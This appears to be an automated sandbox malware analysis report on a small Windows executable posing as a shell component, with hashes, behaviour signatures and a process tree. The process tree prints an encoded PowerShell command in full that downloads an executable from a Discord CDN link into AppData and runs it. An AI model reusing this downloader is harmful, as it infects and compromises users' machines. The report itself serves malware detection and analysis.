Analysis
-
max time kernel
41s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
11-11-2022 07:02
General
-
Target
WindowShellExperince.exe
-
Size
6KB
-
MD5
c45730a39a78c6754c78471e820bff88
-
SHA1
725c3fd0a7afbacd85bb86535e00152d6cb4998d
-
SHA256
11ec30aa3578d705303b3626615a9abdc9e876ccafdac76d1149680cb85d8e6d
-
SHA512
35e5bfc810b76feddae33af90d3ee247c4148dd5e2076d7cb113859b9a45c5fdc6046bfe6305a9f2a908c9bff2db1a9e7062163703bba4d3217793289751c158
-
SSDEEP
96:1QP5v79dkCFmYKk0UqUMYl+8t/Os7RMkmqXld3ojrrl:+5T9dPFxMUqULk8t/OS28ldS
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\WindowShellExperince.exe"C:\Users\Admin\AppData\Local\Temp\WindowShellExperince.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAeABpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMwA5ADEAOAA5ADYANQAyADUANgA2ADkANwA4ADYANgAxAC8AMQAwADMAOQAyADEAMAA2ADIANQA3ADYAOAA4ADgAMgAyADUANwAvAEMAUgAuAGUAeABlACcALAAgADwAIwBhAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGcAeQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAYwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADgAMgA5ADIANABtAHMAYQB1AHIAZQB3AGsAZABmAC4AZQB4AGUAJwApACkAPAAjAGsAdwBnACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG4AagBnACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAHgAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA4ADIAOQAyADQAbQBzAGEAdQByAGUAdwBrAGQAZgAuAGUAeABlACcAKQA8ACMAdQBqAGQAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1444-56-0x0000000000000000-mapping.dmp
-
memory/1444-58-0x000007FEF3410000-0x000007FEF3E33000-memory.dmpFilesize
10.1MB
-
memory/1444-59-0x000007FEF28B0000-0x000007FEF340D000-memory.dmpFilesize
11.4MB
-
memory/1444-60-0x0000000001F14000-0x0000000001F17000-memory.dmpFilesize
12KB
-
memory/1444-61-0x0000000001F1B000-0x0000000001F3A000-memory.dmpFilesize
124KB
-
memory/1444-62-0x0000000001F14000-0x0000000001F17000-memory.dmpFilesize
12KB
-
memory/1444-63-0x0000000001F14000-0x0000000001F17000-memory.dmpFilesize
12KB
-
memory/1444-64-0x0000000001F1B000-0x0000000001F3A000-memory.dmpFilesize
124KB
-
memory/2020-54-0x00000000012C0000-0x00000000012C8000-memory.dmpFilesize
32KB
-
memory/2020-55-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmpFilesize
8KB